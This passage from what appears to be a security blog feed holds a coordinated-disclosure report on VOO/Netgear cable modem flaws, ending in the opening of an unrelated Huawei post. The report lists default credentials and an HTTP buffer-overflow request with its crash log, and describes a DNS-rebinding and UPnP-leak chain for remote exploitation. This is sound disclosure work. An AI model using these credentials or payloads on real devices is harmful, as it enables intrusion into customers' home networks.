&lt;p&gt;A reference implementation of a network sniffer that guess pre-shared key of all affected devices in the vicinity is available in the &lt;a href=&quot;https://github.com/QKaiser/voodoo&quot;&gt;dedicated repository&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;weak-default-credentials&quot;&gt;Weak Default Credentials&lt;/h3&gt;

&lt;p&gt;Multiple default accounts with weak passwords have been identified:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;MSO:changeme&lt;/strong&gt; - can access the web interface over https://192.168.0.1:8443/&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;admin:admin&lt;/strong&gt; - can access the router over Telnet or SSH via IP Stack1 interface, when these services are enabled. IP Stack1 is the interface exposed to the ISP OSS network.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;readyshare:readyshare&lt;/strong&gt; - DLNA/SMB account (not used by VOO at the moment)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;buffer-overflow&quot;&gt;Buffer Overflow&lt;/h3&gt;

&lt;p&gt;The web administration interface of the modem is riddled with calls to memory unsafe C functions such as &lt;em&gt;strcpy&lt;/em&gt;, leaving the device vulnerable to remote buffer overflows.&lt;/p&gt;

&lt;p&gt;It’s possible to trigger a stack overflow by sending an HTTP request such as the one displayed below. Sending the request will trigger a crash, with a detailed crash log (see next figure) provided by eCOS over serial or telnet connection.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-http&quot; data-lang=&quot;http&quot;&gt;&lt;span class=&quot;nf&quot;&gt;POST&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;/goform/controle?id=1205828651&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;192.168.0.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;596&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Cache-Control&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;max-age=0&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Authorization&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Basic dm9vOkhSRExUV0tJ&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Origin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;http://192.168.0.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Upgrade-Insecure-Requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;DNT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/x-www-form-urlencoded&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Referer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;http://192.168.0.1/controle.htm&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Accept-Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gzip, deflate&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Accept-Language&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;en-US,en;q=0.9,fr;q=0.8&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Connection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;close&lt;/span&gt;

text_keyword=a&amp;amp;text_block=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;amp;text_allow=&amp;amp;Action_Add=Add&amp;amp;Action_Del=0&amp;amp;Action_Function=2&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Will trigger a stack overflow:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; YIKES... looks like you may have a problem! &amp;lt;&amp;lt;&amp;lt; 

r0/zero=00000000 r1/at  =00000000 r2/v0  =80f6fcc4 r3/v1  =41414141
r4/a0  =00000000 r5/a1  =86489960 r6/a2  =80808080 r7/a3  =01010101
r8/t0  =86489860 r9/t1  =fffffffe r10/t2 =864897c0 r11/t3 =86489850
r12/t4 =00000001 r13/t5 =00416374 r14/t6 =696f6e5f r15/t7 =44656c3d
r16/s0 =815d9be5 r17/s1 =815d9ab4 r18/s2 =80f758d8 r19/s3 =815d9ac1
r20/s4 =815d9bcd r21/s5 =815d9bd9 r22/s6 =00000000 r23/s7 =815d9bf4
r24/t8 =00000000 r25/t9 =00000000 r26/k0 =00000005 r27/k1 =00000005
r28/gp =8161e5d0 r29/sp =86489850 r30/fp =864899ec r31/ra =8068069c

PC   : 0x806809d4    error addr: 0x41414141
cause: 0x00000014    status:     0x1000ff03

BCM interrupt enable: 18024085, status: 00000000
Instruction at PC: 0xac620000
iCache Instruction at PC: 0xafbf0000

entry 80680340  Return address (41414141) invalid.  Trace stops.

Task: HttpServerThread
---------------------------------------------------
ID:               0x00e8
Handle:           0x8648f2c0
Set Priority:     23
Current Priority: 23
State:            SUSP
Stack Base:       0x86483e0c
Stack Size:       24576 bytes
Stack Used:       4508 bytes
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As we can see in the excerpt above, the return address has been overwritten with our payload (0x41414141).&lt;/p&gt;

&lt;p&gt;We are highly confident that given enough reverse engineering effort, someone could craft a valid exploit to obtain stable remote code execution on the device. We base this assumption on already available resources documenting how to perform binary exploitation on eCOS modems [&lt;a href=&quot;#references&quot;&gt;9&lt;/a&gt;][&lt;a href=&quot;#references&quot;&gt;10&lt;/a&gt;].&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: since sending our report, we confirmed that hypothesis by writing a fully working exploit. You can find it &lt;a href=&quot;https://github.com/QKaiser/voodoo&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;remote-exploitation&quot;&gt;Remote Exploitation&lt;/h2&gt;

&lt;p&gt;VOO cable modems web administration interface is not directly exposed to
the public Internet and can only be reached from customers local area
network. However, attackers could target cable modems by getting
customers to open a malicious web page. The malicious web page would
execute JavaScript code exploiting the buffer overflow to gain remote
code execution. To do so, the malicious code would need to bypass two
security mechanisms: &lt;a href=&quot;https://en.wikipedia.org/wiki/Same-origin_policy&quot;&gt;Same-origin Policy&lt;/a&gt;, and enforced
authentication and authorization.&lt;/p&gt;

&lt;p&gt;We discovered that affected devices are vulnerable to DNS rebinding
attacks, which can be used to bypass the Same-origin policy. We also
identified ways to obtain valid credentials due to an information leak
affecting the Universal Plug and Play service exposed by the cable
modem.&lt;/p&gt;

&lt;h3 id=&quot;dns-rebinding&quot;&gt;DNS Rebinding&lt;/h3&gt;

&lt;p&gt;The attacker registers a domain (such as attacker.com) and delegates it
to a DNS server that is under the attacker’s control. The server is
configured to respond with a very short time to live (TTL) record,
preventing the DNS response from being cached. When the victim browses
to the malicious domain, the attacker’s DNS server first responds with
the IP address of a server hosting the malicious client-side code.&lt;/p&gt;

&lt;p&gt;The malicious client-side code makes additional accesses to the original
domain name (such as attacker.com). These are permitted by the
Same-origin policy. However, when the victim’s browser runs the script
it makes a new DNS request for the domain, and the attacker replies with
a new IP address. In our case, they would reply with the cable modem
default IP address (192.168.0.1).&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/voo_dns_rebinding.png&quot; alt=&quot;DNS rebinding attack against a VOO cable modem.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Affected devices are vulnerable to DNS rebinding because they do not
check the HTTP request Host header value. When the device receives a
request for a domain that has been rebound, the Host header is set to
the rebound domain (e.g. attacker.com). The device lacks preventative
measures such as only allowing a Host header that is the device’s IP
address (e.g. 192.168.0.1) or the device’s hostname (e.g. mymodem.voo).&lt;/p&gt;

&lt;h3 id=&quot;authentication&quot;&gt;Authentication&lt;/h3&gt;

&lt;p&gt;Affected devices enforce authentication on all of the web administration
panel web pages. It is therefore required for the malicious client-side
code to obtain valid credentials.&lt;/p&gt;

&lt;h4 id=&quot;hardcoded-accounts&quot;&gt;Hardcoded Accounts&lt;/h4&gt;

&lt;p&gt;A default account exists (MSO:changeme), but can only be used on
https://192.168.0.1:8443. Given that it is an SSL/TLS service configured
with an untrusted certificate, any request made to that URL will be
blocked by the browser.&lt;/p&gt;

&lt;p&gt;Therefore, the only way to send authenticated requests to the web
administration panel is to obtain the password of the &quot;voo&quot; user. The
&quot;voo&quot; user password being the wireless pre-shared key value, an
attacker would need to derive the correct pre-shared key.&lt;/p&gt;

&lt;h4 id=&quot;upnp-information-leak&quot;&gt;UPnP Information Leak&lt;/h4&gt;

&lt;p&gt;Netgear CG3700B devices expose a Universal Plug and Play service on their server by default.
When requesting root device information from
http://192.168.0.1/RootDevice.xml, the device returns an XML file with
the Unique Device Name (UDN) set to
&lt;em&gt;uuid:upnp-InternetGatewayDevice-1_0-&lt;/em&gt; followed by the device’s IP
Stack5 interface MAC address bytes in lowercase, without colons:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;root&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:schemas-upnp-org:device-1-0&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
--snip--
&lt;span class=&quot;nt&quot;&gt;&amp;lt;modelNumber&amp;gt;&lt;/span&gt;CG3700B-1V2FSS&lt;span class=&quot;nt&quot;&gt;&amp;lt;/modelNumber&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;modelURL&amp;gt;&lt;/span&gt;http://www.netgear.com&lt;span class=&quot;nt&quot;&gt;&amp;lt;/modelURL&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;serialNumber&amp;gt;&lt;/span&gt;37P4547201B84&lt;span class=&quot;nt&quot;&gt;&amp;lt;/serialNumber&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;UDN&amp;gt;&lt;/span&gt;uuid:upnp-InternetGatewayDevice-1_0-a42b8ca0c0b9&lt;span class=&quot;nt&quot;&gt;&amp;lt;/UDN&amp;gt;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;&amp;lt;!--here--&amp;gt;&lt;/span&gt;
--snip--&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Given that the IP Stack5 interface MAC address is simply the device’s IP
Stack1 interface MAC address + 1 byte, and that IP Stack1 interface
MAC address is used to derive the pre-shared key, we can take advantage
of this information leak to derive the password used to authenticate on
the web adminstration panel.&lt;/p&gt;

&lt;h3 id=&quot;authorization&quot;&gt;Authorization&lt;/h3&gt;

&lt;p&gt;State altering requests are protected against cross-site request forgery
with an anti-CSRF token made of 10 random digits. This does not pose any
problem for our exploit given that the victim’s browser will consider
the malicious code to be executing under the same origin once the
attacker’s domain is rebound to the cable modem’s IP address. The
exploit script can simply request the page where the anti-CSRF token is
set, parse it, and then use it when submitting subsequent requests.&lt;/p&gt;

&lt;h3 id=&quot;end-to-end-attack-flow&quot;&gt;End-to-End Attack Flow&lt;/h3&gt;

&lt;p&gt;A diagram demonstrating the complete end-to-end attack flow is visible
below while a proof-of-concept page that remotely crash the device can be
found in the &lt;a href=&quot;https://github.com/QKaiser/voodoo&quot;&gt;dedicated repository&lt;/a&gt;.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/voo_e2e_remote_exploit.png&quot; alt=&quot;End-to-End attack flow.&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;exposure-assessment&quot;&gt;Exposure Assessment&lt;/h2&gt;

&lt;p&gt;We downloaded data points from &lt;a href=&quot;https://wigle.net&quot;&gt;WiGLE&lt;/a&gt; to assess VOO
exposure to these vulnerabilities. WiGLE (or Wireless Geographic Logging
Engine) is a website for collecting information about the different
wireless hotspots around the world. Users can register on the website
and upload hotspot data like GPS coordinates, SSID, MAC address and the
encryption type used on the hotspots discovered.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;A big s/o to &lt;a href=&quot;https://twitter.com/bobzilla42&quot;&gt;bobzilla&lt;/a&gt; from WiGLE who
allowed me to get a research account so that I wouldn’t be rate limited
by the Wigle API. Thanks man :)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We developed a script to pull data off the WiGLE API, with filters set
to match access points with an SSID matching the VOO naming convention
(i.e. &quot;VOO-[0-9]{6}&quot;), located in Belgium, and with the vendor being
either Netgear or Technicolor. We obtained a total of 69763 unique data
points and fed these results into an ELK stack (ElasticSearch, Kibana,
Logstash) to perform analysis.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sample Ratio&lt;/strong&gt; We consider the behavior of independent wireless war drivers to be
random, therefore reducing the probability of sampling errors. Making
the hypothesis that VOO has approximately 400.000 customers with a dedicated cable
modem, our dataset represents 17.44% of VOO’s entire cable
modem park.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vendor Distribution&lt;/strong&gt; The observed vendor distribution within the sample is 20.4% Technicolor
devices for 79.6% Netgear devices.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/voo_vendor_distribution.png&quot; alt=&quot;VOO cable modems vendor distribution&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This distribution is for all devices scanned since the introduction of
VOO cable modems. If we graph this distribution over time  we observe a trend with
Technicolor devices being introduced in 2016, with the distribution
slowly reaching 50% by 2020. We do not know whether VOO customers are
asked to replace their Netgear routers with Technicolor ones, but we
will use this trend to calculate conservative estimates.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/voo_vendor_distribution_over_time_small.png&quot; alt=&quot;VOO cable modems vendor distribution over time&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability Age&lt;/strong&gt; Considering that identified issues were not introduced by a firmware
update, we can estimate for how long the vulnerabilities have been
present by looking at when devices starts getting indexed by WiGLE. As
we can see in the histogram below, first devices appear in March 2011. We can
therefore estimate that vulnerabilities have been present for &lt;em&gt;at least&lt;/em&gt;
9 years.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be//assets/voo_devices_indexation_over_time.png&quot; alt=&quot;VOO cable modems indexation over time on WiGLE&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Total Affected Devices&lt;/strong&gt; Given the overall vendor distribution presented above, we can estimate the
total amount of affected devices in Belgium. If we make the hypothesis that VOO is making customers replace their Netgear routers with a Technicolor one, a conservative estimate based on vendor distribution observed in 2020 alone would place it at around 200.000. If VOO is not making their customers replace their Netgear router, the high estimate would place it at around 376.000 devices.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exploitation in the Wild&lt;/strong&gt; We are not aware of any active exploitation of these flaws at the
moment. Given the relative stealthiness of the whole exploit chain and
the lack of remote logging of crashes, we do not think VOO or its
customers could detect it at this time.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;In this report, we successfully demonstrated that an attacker in
wireless reception range of a VOO cable modem could successfully derive
the default WPA2 pre-shared key and obtain unauthorized access to a customer
wireless LAN. We also demonstrated that the web administration panel is
vulnerable to buffer overflows. By chaining these two vulnerabilities,
attackers could fully compromise any VOO cable modem by just being in
reception range.&lt;/p&gt;

&lt;p&gt;By taking advantage of an information leak affecting the UPnP service
descriptor and the lack of protection against DNS rebinding, we also
demonstrated that the buffer overflows can be exploited by remote
attacker on the Internet.&lt;/p&gt;

&lt;h2 id=&quot;bonus&quot;&gt;Bonus&lt;/h2&gt;

&lt;p&gt;You made it this far ? Here’s a video demonstration of a modem being remotely compromised as a token of my appreciation.&lt;/p&gt;

&lt;video width=&quot;100%&quot; height=&quot;240&quot; controls=&quot;&quot;&gt;
  &lt;source src=&quot;/assets/voodoo_exploit_run_srt.mp4&quot; type=&quot;video/mp4&quot; /&gt;
Your browser does not support the video tag.
&lt;/video&gt;

&lt;h2 id=&quot;recommendations&quot;&gt;Recommendations&lt;/h2&gt;

&lt;p&gt;Note: the recommendations below are the original recommendations before any interaction with VOO.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Insecure Wireless Pre-Shared Key&lt;/strong&gt; While the pre-shared key derivation issue can technically be mitigated
by deriving its value from a value unknown to the attacker (&lt;em&gt;e.g.&lt;/em&gt;
device serial number), doing so will lead to very serious business
impact.&lt;/p&gt;

&lt;p&gt;If VOO decides to deploy such a fix, all affected modems will have a
pre-shared key that differs from the one visible on stickers attached to
them. On top of that, the pre-shared key will need to be changed when
the firmware update is applied, otherwise it can still be guessed. This
will lead all VOO customers using the affected models to loose
connectivity to their access points. If these customers get in touch
with VOO helpdesk, the helpdesk can no longer help them by asking them
to look at the sticker on the back. Given that the password to access
the web interface is equal to the pre-shared key, customers will not be
able to access the interface to get their newly updated pre-shared key.&lt;/p&gt;

&lt;p&gt;We recommend VOO to act transparently by issuing a security advisory
explaining the situation and recommending their customers to change the
default pre-shared key if they are still using it. Not doing so is equal
to leaving all their customers wireless LAN open for anyone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Buffer Overflows&lt;/strong&gt; We recommend VOO to get in contact with NETGEAR, asking them for an
updated firmware version that fix these insecure calls to &lt;em&gt;strcpy&lt;/em&gt;. If
required, a detailed list of insecure calls we have identified can be
provided, along with a detailed technical report on binary
exploitability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Default Credentials&lt;/strong&gt; We recommend VOO to change these default credentials by using DOCSIS
configuration files deployed to affected modems when they register on
the network. Please note that these credentials can still be captured by
someone with physical access to a cable modem serial console.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Side Note on Technicolor&lt;/strong&gt; We did not look at the Technicolor TC7210.V cable modem provided by VOO
for lack of having access to one. We therefore cannot say with enough
confidence whether it is affected by similar issues or not.&lt;/p&gt;

&lt;h2 id=&quot;coordinated-disclosure-timeline&quot;&gt;Coordinated Disclosure Timeline&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Date&lt;/th&gt;
      &lt;th&gt;Item&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;12/05/2020&lt;/td&gt;
      &lt;td&gt;An email is sent out to CERT.be asking for a security contact at VOO.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;14/05/2020&lt;/td&gt;
      &lt;td&gt;We send the technical report to CERT.be&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;04/06/2020&lt;/td&gt;
      &lt;td&gt;VOO gets back to us, ask for a copy of the report.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;05/06/2020&lt;/td&gt;
      &lt;td&gt;We send the technical report to VOO.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;23/06/2020&lt;/td&gt;
      &lt;td&gt;Initial meeting with VOO, including CTO, CSO, and heads of engineering.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;07/08/2020&lt;/td&gt;
      &lt;td&gt;Meeting with VOO to discuss update deployment.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;05/11/2020&lt;/td&gt;
      &lt;td&gt;Meeting with VOO to discuss progress.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;06/01/2021&lt;/td&gt;
      &lt;td&gt;Meeting with VOO to discuss progress (75% of the park is patched at that point).&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;27/01/2021&lt;/td&gt;
      &lt;td&gt;Meeting with VOO to coordinate release. They mention that 15.000 modems still needs to be patched.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10/02/2021&lt;/td&gt;
      &lt;td&gt;VOO asks to coordinate a press release with their public relations department. Asks to push the release date again, mentioning that at least 25.000 modems still needs to be patched.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;24/02/2021&lt;/td&gt;
      &lt;td&gt;Meeting with VOO to discuss publication, close to 97% of modems are patched.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;26/02/2021&lt;/td&gt;
      &lt;td&gt;Emergency call, the last 6000 deployments to patch have set-top boxes connecting over WiFi. Set-top boxes starts bootlooping when the patch is applied to the modem.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;04/03/2021&lt;/td&gt;
      &lt;td&gt;Meeting with VOO, set top box issues have been fixed. More than 99% od modems are patched, coordinating press release.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;09/03/2021&lt;/td&gt;
      &lt;td&gt;Release of the full report.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;12/03/2021&lt;/td&gt;
      &lt;td&gt;Someone with a Netgear CG3100 from VOO adapted the proof-of-concept and confirmed to me that this model is also affected. I contact VOO so they check if they still have CG3100 on their network and if they were part of the patch roll out.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;strong&gt;Security Contact&lt;/strong&gt; During the disclosure process I advocated for VOO to get a security contact page on their website. This was a major pain point when I tried to report things in the first place. I could not find anything and had to bother CERT.be (sorry folks) for a contact there.&lt;/p&gt;

&lt;p&gt;They listened and even setup a &lt;a href=&quot;https://www.voo.be/fr/divulgation-responsable&quot;&gt;coordinated disclosure policy page&lt;/a&gt;, that follows the Cybersecurity Centre Belgium recommendations. They chose the “reponsible disclosure” wording, which I don’t appreciate, but well, at least they got a PGP key now.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Cable Haunt&lt;/strong&gt;, &lt;em&gt;Lyrebirds ApS&lt;/em&gt;, &lt;a href=&quot;https://ida.dk/media/6353/jens-h-staermose.pdf&quot;&gt;https://ida.dk/media/6353/jens-h-staermose.pdf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Kablonet WiFi Password&lt;/strong&gt;, &lt;em&gt;mustafadur&lt;/em&gt;, &lt;a href=&quot;https://www.mustafadur.com/blog/kablonet/&quot;&gt;https://www.mustafadur.com/blog/kablonet/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Do not create a backdoor, use your provider one&lt;/strong&gt;, &lt;em&gt;Kudelski Security&lt;/em&gt;, &lt;a href=&quot;https://research.kudelskisecurity.com/2017/01/06/do-not-create-a-backdoor-use-your-providers-one/&quot;&gt;https://research.kudelskisecurity.com/2017/01/06/do-not-create-a-backdoor-use-your-providers-one/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Hacking the Cable Modem: What Cable Companies Don’t Want You to Know&lt;/strong&gt;, &lt;em&gt;DerEngel&lt;/em&gt;, &lt;a href=&quot;https://books.google.be/books/about/Hacking_the_Cable_Modem.html?id=PblPcRqHM0wC&quot;&gt;https://books.google.be/books/about/Hacking_the_Cable_Modem.html?id=PblPcRqHM0wC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Hacking the Cable Modem&lt;/strong&gt;, &lt;em&gt;Samuel Koo, Jihong Yoon&lt;/em&gt;, &lt;a href=&quot;https://www.slideserve.com/kiaria/hacking-the-cable-modem-part-1&quot;&gt;https://www.slideserve.com/kiaria/hacking-the-cable-modem-part-1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;A Case Study in Practical Security of Cable Networks&lt;/strong&gt;, &lt;em&gt;Amir Alsbih, Felix C. Freiling, and Christian Schindelhauer&lt;/em&gt;, &lt;a href=&quot;https://link.springer.com/content/pdf/10.1007%2F978-3-642-21424-0_8.pdf&quot;&gt;https://link.springer.com/content/pdf/10.1007%2F978-3-642-21424-0_8.pdf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Aeolus&lt;/strong&gt;, &lt;em&gt;Broadcom&lt;/em&gt;, &lt;a href=&quot;https://github.com/Broadcom/aeolus&quot;&gt;https://github.com/Broadcom/aeolus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;bcm2-utils&lt;/strong&gt;, &lt;em&gt;Joseph C. Lehner&lt;/em&gt;, &lt;a href=&quot;https://github.com/jclehner/bcm2-utils&quot;&gt;https://github.com/jclehner/bcm2-utils&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Sagemcom Fast 3890 Exploit&lt;/strong&gt;, &lt;em&gt;Lyrebirds ApS&lt;/em&gt;, &lt;a href=&quot;https://github.com/Lyrebirds/sagemcom-fast-3890-exploit&quot;&gt;https://github.com/Lyrebirds/sagemcom-fast-3890-exploit&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Technicolor TC7230 exploit&lt;/strong&gt;, &lt;em&gt;Lyrebirds ApS&lt;/em&gt;, &lt;a href=&quot;https://github.com/Lyrebirds/technicolor-tc7230-exploit&quot;&gt;https://github.com/Lyrebirds/technicolor-tc7230-exploit&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
        <pubDate>Tue, 09 Mar 2021 06:00:00 +0000</pubDate>
        <link>https://quentinkaiser.be/security/2021/03/09/voodoo/</link>
        <guid isPermaLink="true">https://quentinkaiser.be/security/2021/03/09/voodoo/</guid>
      </item>
    
      <item>
        <title>Huawei Weird Attempt at Astroturfing Brussels</title>
        <description>&lt;p&gt;Starting around mid-december 2020, I started receiving &lt;strong&gt;a lot&lt;/strong&gt; of sponsored content from Huawei about the decision that Belgium authorities took to block Huawei 5G gear from being deployed. The campaign was quite aggressive, so I took screenshots with the idea of coming back to it in the future.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/huawei_promoted.png&quot; alt=&quot;Huawei promoted tweet&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In the meantime, excellent investigative work have been produced by people on the subject, one &lt;a href=&quot;https://twitter.com/mvanhulten/status/1341376781039915008&quot;&gt;Twitter thread&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/mvanhulten&quot;&gt;Michiel van Hulten&lt;/a&gt;, and a &lt;a href=&quot;https://www.knack.be/nieuws/belgie/fake-influencers-en-fake-news-moddercampagne-van-huawei-tegen-de-belgische-regering/article-longread-1680851.html&quot;&gt;journalistic piece&lt;/a&gt; by Rien Emmery. I’m really glad belgian journalists caught onto this and released a
piece of that quality, nice work Rien !&lt;/p&gt;

&lt;p&gt;However, most of the investigative work that they performed overlooked the technical aspects of open source intelligence gathering. My objective with this post is to provide something similar to IOCs linked to this misinformation campaign launched by Huawei.&lt;/p&gt;

